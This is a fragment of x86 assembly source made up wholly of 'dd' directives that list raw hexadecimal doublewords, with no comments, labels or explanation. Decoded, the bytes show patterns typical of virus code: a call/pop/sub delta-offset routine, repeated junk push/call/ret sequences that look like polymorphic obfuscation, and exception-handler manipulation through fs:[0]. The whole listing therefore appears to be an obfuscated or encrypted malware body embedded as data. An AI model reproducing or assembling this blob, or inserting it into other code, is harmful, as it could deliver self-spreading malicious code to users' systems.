		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 1C35545h, 9E2F4EDDh
		dd 264AA02Ah, 218589EEh, 6A062813h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 140DC352h
		dd 182B9E3Eh, 16E7650Eh, 3415BD0Bh, 0BD890628h,	6280EB9h
		dd 747E8h, 0DB58B00h, 8906281Ah, 28295585h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 9D7EDD71h, 6C0B1E3Ch, 0E957523Eh, 14h, 529DACC7h, 0BAD1411Eh
		dd 0C62632A1h, 0AB1533FCh, 0FDA791DFh, 0F5E85959h, 0F000006h
		dd 8589F3B7h, 62801BDh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0C7C35545h, 59949C46h, 0E10A15D0h, 0CEB70F0Bh
		dd 6BFE8h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1904h, 0C3504000h, 0BFD1EC22h, 858915F3h, 6281819h
		dd 38D0Fh, 8B660000h, 68AE8F8h,	0BE660000h, 858978D5h
		dd 62826BDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	0B9C35343h, 0AEF67D7Ch,	311246B5h, 656E8E7h, 0BF0F0000h
		dd 0C98589FAh, 6A06282Eh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0AAE0C355h,	82C72541h
		dd 0E873FEFDh, 624h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 40C35343h, 8589B1E6h,	62826C9h, 0F9E8FB8Bh
		dd 6A000005h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0FE37C351h, 0BD8B7205h, 6280289h
		dd 11158589h, 0E8FC0628h, 5C8h,	8589ABB5h, 6281D45h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 3CC35343h, 9A71578Eh
		dd 59AE83Eh, 0FEBF0000h, 896A770Ch, 2805E185h, 0DE806h
		dd 0CCD40000h, 0C04852EFh, 0E70F41B4h, 6686C660h, 5FC049BEh
		dd 0AAE78166h, 56EE8E3h, 890F0000h, 4, 59616051h, 1E858589h
		dd 0B5890628h, 6282F79h, 13E8h,	5AE2E900h, 0AE8DC6E9h
		dd 0BB311E82h, 0B787FF5Dh, 18F3D4DDh, 53AE859h,	6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0E335FC3h, 8BFA8B4Eh, 281491BDh, 39858906h, 6A062804h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0EA4BC355h, 0E9E861F1h, 8B000004h, 0A98589F2h
		dd 6A062822h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0B92AC350h, 2E3646BFh,	90DBD8Bh
		dd 0B5E80628h, 89000004h, 2821E995h, 59858906h,	6A06282Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0A772C357h, 0E12F17C4h, 0C5DC3476h, 840F00B0h
		dd 6, 8F0Fh, 0B60F0000h, 352ABED8h, 6BA16A2h, 8B000000h
		dd 6D8D89FBh, 8B06282Dh, 52006AC3h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 907665A7h, 2689B589h
		dd 0E8C10628h, 0E2F76604h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 5BC35646h, 870FCF67h,	2, 2BF9EEB1h, 55006AD8h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 3F72CB36h, 8BCDB45Ch, 280121B5h, 0CE8B9306h,	8B665050h
		dd 6A935FC8h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 291AC352h, 77DCFE5Ch, 81668530h
		dd 0FFBEECC7h, 2803FD95h, 0F28B6606h, 55006A5Bh, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 71958D2Dh, 6A06280Eh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 4EE5C356h, 8C2EDC87h
		dd 0FE8BC06h, 682h, 99B58B00h, 89062820h, 282D7995h, 6A1A8906h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 8B4C352h,	8D0F0F4Bh, 2, 958984B1h, 6282B5Dh
		dd 50044289h, 1E198589h, 8B5E0628h, 69958DCFh, 6A062801h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0C8FC357h, 952ED7E7h, 5BCE7009h, 0F58D03h
		dd 1A890628h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 18h,	0A8C35242h, 7CC86599h, 34C1B58Bh, 42890628h, 51006A04h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 5A382B7Eh, 2F818D8Bh, 958D0628h, 6281E21h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 18C35646h, 0DB88AB50h
		dd 0F35C0CF6h, 3DBD8BA0h, 89062809h, 52006A1Ah,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0F54A1919h
		dd 661B47A2h, 899DBCB9h, 6A0442h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0B65FB8C3h, 958DC331h
		dd 628149Dh, 2E69B589h,	95890628h, 6281681h, 6A1A89h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0EC553BC3h, 8529B1B2h, 6282915h, 6A044289h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0DFBBC355h, 4EFC1321h, 2FC1958Dh, 6A0628h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 890F97C3h
		dd 28208D95h, 0F51A8906h, 6A044289h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 8103C350h
		dd 0AF9F38E9h, 0DD958D71h, 8906282Ah, 0D18D891Ah, 66062829h
		dd 89F3E3BFh, 6A0442h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0A545ABC3h, 15958D75h, 6A062814h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 9397C355h, 90456C28h, 0D6560746h,	6E9h, 34D29500h
		dd 8913D118h, 55006A1Ah, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 288310D1h, 8B917B3Ch, 0CABF0F60h
		dd 1999B589h, 89610628h, 6A0442h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0C4C038C3h
		dd 0C781664Eh, 958DE7B6h, 6282E61h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0C1C35545h,	0C868EDDh, 896E154Ch
		dd 28292D85h, 6A1A8906h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0AC9CC353h,	0A1322A20h
		dd 442893Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	8CC35040h, 0DB55084Eh, 0F8E3B966h, 0B0E9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 5E4FBA7Fh, 0C1818853h, 6F2F0729h, 0B70F006Ah, 80006AF1h
		dd 81663DE1h, 6A72C1D6h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0F1803C5Ch, 6A006AA2h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0C8E3C350h, 4995FF1Ah, 89062823h,	282B7585h
		dd 6AC306h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 69D2E8C3h, 0DD85297Ch, 89062818h,	282BB98Dh
		dd 66C58A06h, 0C08BF38Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 5C35242h, 14E9h, 0F248A400h, 0B50A61DDh
		dd 303F767Ah, 0AEC827DDh, 92BD1157h, 81666045h,	89C1F9F1h
		dd 28181DB5h, 0BD836106h, 6280149h, 83097500h, 2814C5BDh
		dd 19740006h, 0C08B5350h, 438B8h, 55858900h, 8D06282Eh
		dd 2AA5C59Dh, 5BD3FF06h, 0C5BD8358h, 62814h, 53501774h
		dd 438B8h, 55858900h, 8D06282Eh, 2AA2669Dh, 5BD3FF06h
		dd 53006A58h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 5DA817Eh, 0B5240BD6h, 6AF7B70Fh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0F9E0C356h, 3C65554Ah, 0C08BEC06h, 2C05858Dh, 0E9900628h
		dd 8, 368A6B29h, 0D3E0D1E7h, 0FEBF6650h, 8A0F90EEh, 8
		dd 799D3353h, 5F062812h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 180B0AC3h, 6687BEEEh
		dd 944A6BBh, 2817659Dh,	89006A06h, 28047DB5h, 76858D06h
		dd 0FC062C37h, 8B05C083h, 280C21BDh, 5AB75006h,	6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 1F37C355h, 50F0A907h, 0F57B2933h,	6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 8917CEC3h, 0ED9CB5BCh, 880F1D01h, 6,	46DBD2Bh, 0EE90628h
		dd 0D4000000h, 0A0AC1CBFh, 372C1A7Ch, 711B1F9Bh, 2B006A96h
		dd 2833999Dh, 3195FF06h, 6A062824h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 599CC351h
		dd 4599D31h, 8D8D0628h,	62B94F3h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0E4C35545h,	5F116971h, 0BFD1FFE9h
		dd 6A3F68B4h, 2415BD83h, 0F010628h, 6685h, 0C9BB6600h
		dd 6A026A17h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0C472C353h, 66A965F0h,	8B6D57AAh
		dd 2826A9BDh, 52505006h, 10E8h,	5CA40300h, 32EDBF6Bh, 0AFC3563Ah
		dd 7638872Ah, 89DFBB6Dh, 0F5F29E1h, 1E2EBF31h, 585A38B9h
		dd 89240489h, 28025195h, 0D195FF06h, 0E906282Ch, 0DAAh
		dd 0E8h, 0ED815D00h, 62C3780h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 17C35747h, 0ACEF0651h, 6AC805h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 858D51C3h, 62B85B0h,	14E9h, 82ED4F00h, 0DC77F89Bh, 9358E5BEh
		dd 0EB8ABE7Bh, 6B5CA403h, 8B5290BFh, 0F505FDAh,	284h, 90D88A00h
		dd 0E34FFBBFh, 61BD8B68h, 64062833h, 35FFh, 0B5890000h
		dd 628102Dh, 258964h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0AEFC352h, 995D45D3h
		dd 0FFAAE500h, 28165985h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 89235BF2h
		dd 280125BDh, 6AFF6A06h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 9212C356h, 0BD894C54h
		dd 62800C9h, 2371B5FFh,	870F0628h, 3, 0FFD88B66h, 282DC195h
		dd 0FBE906h, 9D8B0000h,	628253Dh, 9D0300B0h, 62820B1h
		dd 8E970E6h, 7C000000h,	0F2F978DFh, 0E4EB3224h,	0F605071h
		dd 8Ah,	7E900h,	695A0000h, 4D68E934h, 3C5B61F8h, 0BE830F61h
		dd 0BF000000h, 240A32D8h, 29C8B60Fh, 28115595h,	6BA06h
		dd 9D8B0000h, 62828F9h,	0E8C1C18Bh, 4870F04h, 60000000h
		dd 6661EA8Ah, 0BB66E2F7h, 0C82B2E44h, 8BFAD380h, 0E59D8BD1h
		dd 0F06280Bh, 0AE9FEBFh, 0E9000000h, 5,	0A4EAD44Eh, 71858B65h
		dd 8B06280Eh, 7C083DEh,	0FF1DDF81h, 95897741h, 6280F6Dh
		dd 6000C083h, 14719503h, 61F50628h, 830FD03Bh, 11h, 0AFC58060h
		dd 0E961F08Bh, 39h, 5FEB8166h, 0F98D8BB1h, 81062819h, 0E8C7A5E3h
		dd 1E18332h, 1F840Fh, 0BD8B0000h, 62832A5h, 24D58D09h
		dd 0A5830628h, 62819F9h, 9589F5FEh, 6280E71h, 0E9h, 26B58D00h
		dd 0E9062BBCh, 6, 0DB3E9B78h, 6AE81Ch, 8D9589h,	95FF0628h
		dd 6280465h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	9CC35141h, 0B9E860E9h, 6CDh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 81C35141h, 7C0F19Bh, 204CE9E0h
		dd 83DE8B8Ah, 6AFCE1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 126246C3h, 66FE8B95h, 0FC705EBBh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0D1C35646h
		dd 5F77219Bh, 23B59D8Bh, 0B80628h, 0BB000000h, 311B7B5Bh
		dd 2F6DB509h, 0BA0628h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0ADC4C355h
		dd 0E8D1C233h, 0E983D003h, 89F47504h, 2824F19Dh, 298D2906h
		dd 89062825h, 28090995h, 880D06h, 9D890000h, 62819F5h
		dd 715958Bh, 9D890628h,	62803E1h, 21BD8D8Bh, 8B660628h
		dd 0C28B50F9h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 5358188Bh
		dd 1701B589h, 6A5B0628h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0BB7BC356h,	0F88B66AFh
		dd 25A1BD83h, 0F000628h, 9184h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 29B21461h
		dd 8589FB64h, 6281EB9h,	0B8h, 0B18D8900h, 8D062832h, 284F6E8Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 14926FFh, 2814C9BDh, 6AE1FF06h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0F040C350h, 0A59D8921h, 0E8062812h, 7, 513FDDB8h, 0B329A97Eh
		dd 0BD835BA3h, 628113Dh, 19840F00h, 2B000004h, 28008D9Dh
		dd 3DBD8306h
		dd 1062811h, 421840Fh, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 1833FC3h, 28235D85h
		dd 3DBD8306h, 3062811h,	3BB860Fh, 1ABB0000h, 600DE466h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 84C35343h
		dd 0BD332C11h, 6280849h, 0B7D98C66h, 12E9E9h, 0CA610000h
		dd 91A7C5FBh, 499CF11Fh, 0E1098422h, 0E69C58C8h, 6A04E180h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0C8E1C350h, 0D5E69C58h, 0C90A3F3Ah, 133840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 60090BC3h, 3F68166h, 79858BECh, 61062804h
		dd 24C9858Bh, 0F3800628h, 5830FBCh, 0BB000000h,	4DEC152Dh
		dd 2D058533h, 6A0628h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 8F4756C3h, 842C013Ah, 0DF81B063h
		dd 6B4BA581h, 50F98B90h, 6A90E1B7h, 9D9D8900h, 0E806281Fh
		dd 4, 1F03FFh, 1A820Fh,	11E80000h, 11000000h, 8091DE4h
		dd 97842006h, 0D0E0583Ch, 0A8F2B5F2h, 5FD88B66h, 60566050h
		dd 8B665F61h, 448B61F7h, 0B7530424h, 8B5FC0h, 11E860h
		dd 0A2B00000h, 6505C374h, 0BD4EBBACh, 0DDB934B9h, 53E19036h
		dd 0F08B5B5Ah, 24448961h, 5840B704h, 11E9h, 6057E700h
		dd 28602956h, 26A84B93h, 0D7C1ED5Ch, 95FF1A18h,	628176Dh
		dd 28A0Fh, 0DC8A0000h, 0A3FD8589h, 3160062Bh, 28042595h
		dd 61E88A06h, 17BE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0F5858B34h, 6A062BA3h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 6A51C355h, 0C9DD8AA0h, 2ED1BD01h,	0C70628h
		dd 18h,	8BDE8B66h, 2BA3F9B5h, 0A0E38106h, 8B0925B6h, 282B6585h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0FB34338Dh, 373BB1Fh, 0BD2320ECh, 6281335h
		dd 88D6EF81h, 6894CB5h,	24C9858Bh, 6A0628h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 1E57B5C3h
		dd 89E56F4Ch, 95890446h, 6282CF9h, 24348950h, 6820Fh, 9D8B0000h
		dd 62802FDh, 0A3F5B5FFh, 880F062Bh, 19h, 14E9h,	6CCBF800h
		dd 7DC36CFEh, 95CE223h,	4A35BC09h, 0A7499BB9h, 0EE1D6825h
		dd 8B604CA0h, 13E9D1h, 4D980000h, 0B6A15628h, 83D55993h
		dd 6FD9AB5Fh, 4ADB3C08h, 3481616Fh, 0BFEDE224h,	55006A4Ch
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0FD858D08h, 80062BA3h, 0E990FCC3h, 0Bh, 937BD6F5h, 0CE03758Ch
		dd 50B90E24h, 58C0F57h,	0BB000000h, 6253018Dh, 8F0F905Bh
		dd 6, 2DC59D89h, 95FF0628h, 628176Dh, 56006A61h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 0E1AD2443h, 0FAA8684h, 68Bh,	659D0900h, 0C7062811h
		dd 28113D85h, 306h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 13E83FBAh, 0ED000000h
		dd 38B77CEBh, 7BB8D006h, 95AAEC2Dh, 0C0DEF6Dh, 835FF29Dh
		dd 2BA3FDBDh, 840F0006h, 39h, 0C59BD8Bh, 0BD8B0628h, 6280105h
		dd 43E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0E9FE8B18h, 5, 0CE65EF75h, 0C3050F6h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	18820Fh
		dd 81600000h, 0F48F26D9h, 0BE932h, 382A0000h, 9597E303h
		dd 884E0CC8h, 85896164h, 6281639h, 5840Fh, 56BF0000h, 83086760h
		dd 28113DBDh, 850F0306h, 4ACh, 2075BD8Bh, 0BD830628h, 62BA3FDh
		dd 99840F00h, 6A000004h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 5330C353h, 1712647Ah
		dd 816661FDh, 0FFD72BF3h, 2BA3FDB5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 6C799DAh, 0EE00BF60h
		dd 0B7610BA7h, 9595FF3Fh, 6A06280Eh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 80B4C353h
		dd 6BF0AAF9h, 0FCDCBD43h, 95016056h, 62801C9h, 32759529h
		dd 5F610628h, 14E8h, 32D92400h,	17C12D8Eh, 6D4AA1A2h, 0FDE2CA1Eh
		dd 0CEB1289Eh, 619D31CAh, 5F062811h, 0A3F1B58Bh, 6A062Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0C76C1EC3h, 1000106h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 20980B8Ah, 0BF2A4426h
		dd 22F87280h, 8D0F5750h, 3, 5FDF8B66h, 8B243489h, 82E381D8h
		dd 0FF5A0C36h, 2BA3FDB5h, 49B58906h, 0FF06280Fh, 28201995h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 68258845h, 8B58BED9h, 2BA3F1B5h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0E9E8BF80h, 5, 38F041AFh, 8BFA8BA9h,	2817D585h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 6DFECFBCh, 0B116C14Ah, 0BD014EECh, 6281999h,	2F76CB81h
		dd 86896EA0h, 0C4h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0EFC35343h, 3C5BB5F5h, 566E7EBCh, 999D335Fh
		dd 0F062832h, 886h, 9D0B5100h, 6283499h, 15958B5Bh, 6A062807h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 9E87C352h, 83E28D32h, 6A04C2h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 4FDA13C3h
		dd 0CFC41F7Eh, 0FCBB66F6h, 205089B0h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0DFC35343h,	0FB1E9FFh, 858DDFB7h
		dd 62BB8D9h, 0ED19589h,	8D890628h, 628129Dh, 0B88689h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 6A76E1C3h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0A1CBDBABh, 738C7191h
		dd 0BD8BF182h, 6282075h, 759D2360h, 8906282Ah, 2817B585h
		dd 0B5FF6106h, 62BA3FDh, 8E6DF781h, 0BD312F7Bh,	6280D2Dh
		dd 2CD195FFh, 0D3800628h, 49B50945h, 5006280Ch,	89FE8B66h
		dd 6E82434h, 42000000h,	39863550h, 0EE9BEh, 0B19C0000h
		dd 2CA4533Ah, 106F1199h, 6EB63291h, 0FDB5FF5Bh,	6A062BA3h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 2B12C352h, 0F9BD293Ch, 0FF062818h, 2829B995h
		dd 0E19D0106h, 8306282Bh, 280C55BDh, 840F0006h,	2Bh, 11E9h
		dd 0F5B17100h
		dd 64AD3967h, 571484FFh, 0FD0D3A7h, 6696AAFCh, 50F3D5BFh
		dd 310F5250h, 585ADA8Bh, 3D9D8996h, 0FF062800h,	2BA3FDB5h
		dd 13E806h, 0B3270000h,	0BDB48CA4h, 5B04AE17h, 0E2A9D94Dh
		dd 23DE819Ah, 665BF9B5h, 95FFFA8Bh, 6282285h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0C1C35141h, 0DA160879h
		dd 8B90CAF4h, 2818E59Dh, 21BB6606h, 9D9D8BEFh, 0FF062822h
		dd 2BA3FDB5h, 759D3106h, 0FF062823h, 2810C195h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 1D987E5Eh, 1B998695h, 0BD83F53Bh, 6281861h, 35840F02h
		dd 29000000h, 2807D1B5h, 59858B06h, 6A062812h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 7AB2C357h, 0C6F967ADh, 95090000h, 62832E9h, 130585C7h
		dd 628h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 1A0424h, 55450000h, 39AB7FC3h, 0F73102A9h, 6840Fh, 0BD330000h
		dd 6281945h, 0FFF378E9h, 0EE9FFh, 63A20000h, 0EF649DB6h
		dd 34AB4C9Ah, 9E1FF8F3h, 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0BFBACFC3h, 89021162h
		dd 9219D8Bh, 858D0628h,	6282C05h, 0B790F98Bh, 6090502Fh
		dd 14559D89h, 9D8B0628h, 6280921h, 0F006A61h, 6AFFBFh
		dd 1F6D9D89h, 858D0628h, 62C4691h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 82C35545h, 837F25A9h, 890F05C0h
		dd 12h,	0DE9h, 1D173200h, 9DE4914Ah, 222DA9DAh,	66502780h
		dd 489DE8Bh, 0CCBB5324h, 5F273E9Ah, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 83E48FC3h
		dd 2968CADCh, 280F09B5h, 0F006A06h, 283h, 0FF9FB700h, 28243195h
		dd 0F38D8D06h, 66062B94h, 6CBCD781h, 6AD1FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 7854EEC3h
		dd 0C87B7594h, 8050FC60h, 615968E9h, 1D75BD8Bh,	0BD830628h
		dd 6282415h, 73850F01h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 8D9C356h
		dd 8DDE43F6h, 6800FB6h,	31000000h, 282A8D85h, 0ADBD8B06h
		dd 6A06280Ch, 89BD8B02h, 50062814h, 8BD08B60h, 48961FEh
		dd 4850F24h, 60000000h,	0FF615951h, 282CD195h, 17860F06h
		dd 60000000h, 0CE8h, 78454400h,	57F7023Fh, 0D9402530h
		dd 8B665F26h, 57E961CBh, 0E800000Dh, 0
		dd 9BED815Dh, 6A062C46h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 669AC357h, 858DF88Bh
		dd 62B85B0h, 2F259D8Bh,	0B3500628h, 240489DEh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 9DC35343h, 2F8C8D0Ch
		dd 0B58978CCh, 6282151h, 35FF64h, 1000000h, 280CE58Dh
		dd 25896406h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 9FC35040h
		dd 2994DE38h, 282D798Dh, 5985FF06h, 8B062816h, 6AFF6AFEh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 71EAC352h, 0DA9997B7h, 69D55FEDh,	2E79B5FFh
		dd 95FF0628h, 6282DC1h,	100E9h,	0B0B5B300h, 0DF8B6600h
		dd 0FB8B70E6h, 0AE971E4h, 0E7000000h, 61A8BC46h, 0A481E06Fh
		dd 0F613C2Ah, 0DC83h, 7E900h, 495C0000h, 172CFAE2h, 81666067h
		dd 61591AE3h, 0FC8B60Fh, 58Ch, 0D7816600h, 6BA73DFh, 66000000h
		dd 0C18BDF8Bh, 0E862BB66h, 6860Fh, 0BD890000h, 62811B5h
		dd 0F804E8C1h, 31E2F766h, 281F61BDh, 89C82B06h,	280FF5BDh
		dd 60D18B06h, 226D9D89h, 9D890628h, 6281805h, 0AE961h
		dd 0B0600000h, 5995896Bh, 61062801h, 169858Bh, 8D310628h
		dd 628187Dh, 0F07C083h,	683h, 899D2B00h, 8306280Eh, 8D0100C0h
		dd 6282159h, 830FD03Bh,	11h, 3B1EF381h,	36E91CA3h, 89000000h
		dd 2812859Dh, 318D8B06h, 0BB062833h, 3D353662h,	0F01E183h
		dd 1C84h, 0CCBF6600h, 31A583DCh, 0FE062833h, 1699589h
		dd 0D7810628h, 934813Bh, 0E9h, 0D1B58D00h, 6A062BC4h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 8950B4C1h, 282D11BDh, 6595FF06h, 0B9062804h,	0F48h
		dd 0E183DE8Ah, 51006AFCh, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 31E7E8CAh, 281A51BDh
		dd 6AFC06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 350D0EC3h, 5F567311h, 43DBD89h, 0B80628h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 9198C352h, 21EE450Ah, 1262ACCh
		dd 2826818Dh, 89D22B06h, 2824559Dh, 0C233AD06h,	0D003E8D1h
		dd 7504E983h, 9D9D8BF4h, 6A062802h, 3E85600h, 20000000h
